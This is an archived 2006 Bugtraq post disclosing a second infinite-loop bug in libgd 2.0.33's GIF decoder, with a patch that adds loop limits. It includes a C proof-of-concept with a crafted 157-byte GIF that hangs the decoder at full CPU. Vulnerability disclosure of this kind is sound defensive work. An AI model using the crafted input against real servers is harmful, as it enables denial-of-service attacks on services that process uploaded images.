lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <448977FC.3070506@httrack.com>
Date: Fri, 09 Jun 2006 15:30:36 +0200
From: Xavier Roche <rocheml@...rack.com>
To: bugtraq@...urityfocus.com
Subject: Re: libgd 2.0.33 infinite loop in GIF decoding ?


rocheml@...rack.com wrote:
> 1. Bug
> ------
> A bug seems to affect the current (2.0.33) GD library version, located
> in the LZW decoding while loading GIF images. The problem is an infinite
> loop while decoding specifically crafted images ; for example when
> calling gdImageCreateFromGifPtr() with badly formed GIF data. The loop
> is causing 100% CPU consumption, and can be a problem when involving
> online server scripts.

A second bug exists in gd_gif_in.c:152, which can make corrupted 
(truncated) GIF files to generate an infinite loop in libgd.

2. Example #2
-------------

/* id: gdbad2.c, Xavier Roche, May. 2006 */
/* gcc gdbad2.c -o bad -lgd && ./bad */

#include <stdio.h>
#include <stdlib.h>
#include "gd.h"

static const unsigned char gifdata[157];
int main(void) {
   gdImagePtr im;
   if ( ( im = gdImageCreateFromGifPtr(157, (char*) &gifdata[0]) ) != 
NULL) {
     fprintf(stderr, "success!\n");
     gdImageDestroy(im);
   } else {
     fprintf(stderr, "failed!\n");
   }
   return 0;
}

/* GIF data */
static const unsigned char gifdata[157] = {71,73,70,56,57,97,7,0,15,0,
227,0,0,221,221,221,205,205,205,188,188,188,171,171,171,155,155,155,138,
138,138,121,121,121,105,105,105,88,88,88,72,72,72,55,55,55,38,38,38,22,
22,22,5,5,5,0,0,0,255,255,255,33,254,21,67,114,101,97,116,101,100,32,
119,105,116,104,32,84,104,101,32,71,73,77,80,0,33,249,4,1,13,10,0,15,0,
44,0,0,0,0,7,0,15,0,0,4,48,16,128,71,105,184,161,138,189,233,248,224,67,
140,228,83,156,104,97,172,172,113,188,240,129,204,52,146,220,120,162,
236,252,179,252,192,7,99,56,164,52,142,141,138,195,81,161,68,0,0,59};


3. Quick fix #2
---------------

*** gd-2.0.33.orig/gd_gif_in.c  Mon Nov  1 19:28:56 2004
--- gd-2.0.33/gd_gif_in.c       Fri Jun  9 15:09:45 2006
***************
*** 99,104 ****
--- 99,105 ----

   BGD_DECLARE(gdImagePtr) gdImageCreateFromGifCtx(gdIOCtxPtr fd)
   {
+        int             maxcount = 1024;
          int BitPixel;
   #if 0
          int ColorResolution;
***************
*** 164,169 ****
--- 165,172 ----
                  }

                  if (c != ',') {         /* Not a valid start character */
+                        if (--maxcount < 0)
+                                goto terminated;  /* Looping */
                          continue;
                  }

***************
*** 241,246 ****
--- 244,250 ----
   static int
   DoExtension(gdIOCtx *fd, int label, int *Transparent, int 
*ZeroDataBlockP)
   {
+        int                      maxcount = 1024;
          static unsigned char     buf[256];

          switch (label) {
***************
*** 254,266 ****
                  if ((buf[0] & 0x1) != 0)
                          *Transparent = buf[3];

!                while (GetDataBlock(fd, (unsigned char*) buf, 
ZeroDataBlockP) != 0)
                          ;
                  return FALSE;
          default:
                  break;
          }
!        while (GetDataBlock(fd, (unsigned char*) buf, ZeroDataBlockP) != 0)
                  ;

          return FALSE;
--- 258,272 ----
                  if ((buf[0] & 0x1) != 0)
                          *Transparent = buf[3];

!                while (GetDataBlock(fd, (unsigned char*) buf,
!                                    ZeroDataBlockP) != 0 && --maxcount 
 >= 0)
                          ;
                  return FALSE;
          default:
                  break;
          }
!        while (GetDataBlock(fd, (unsigned char*) buf, ZeroDataBlockP) != 0
!               && --maxcount >= 0)
                  ;

          return FALSE;
***************
*** 417,432 ****
                                          GetCode(fd, code_size, FALSE, 
ZeroDataBlockP);
                          return firstcode;
                  } else if (code == end_code) {
                          int             count;
                          unsigned char   buf[260];

                          if (*ZeroDataBlockP)
                                  return -2;

!                        while ((count = GetDataBlock(fd, buf, 
ZeroDataBlockP)) > 0)
                                  ;

!                        if (count != 0)
                          return -2;
                  }

--- 423,439 ----
                                          GetCode(fd, code_size, FALSE, 
ZeroDataBlockP);
                          return firstcode;
                  } else if (code == end_code) {
+                        int             maxcount = 1024;
                          int             count;
                          unsigned char   buf[260];

                          if (*ZeroDataBlockP)
                                  return -2;

!                        while ((count = GetDataBlock(fd, buf, 
ZeroDataBlockP)) > 0 && --maxcount >= 0)
                                  ;

!                        if (count != 0 || maxcount < 0)
                          return -2;
                  }


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ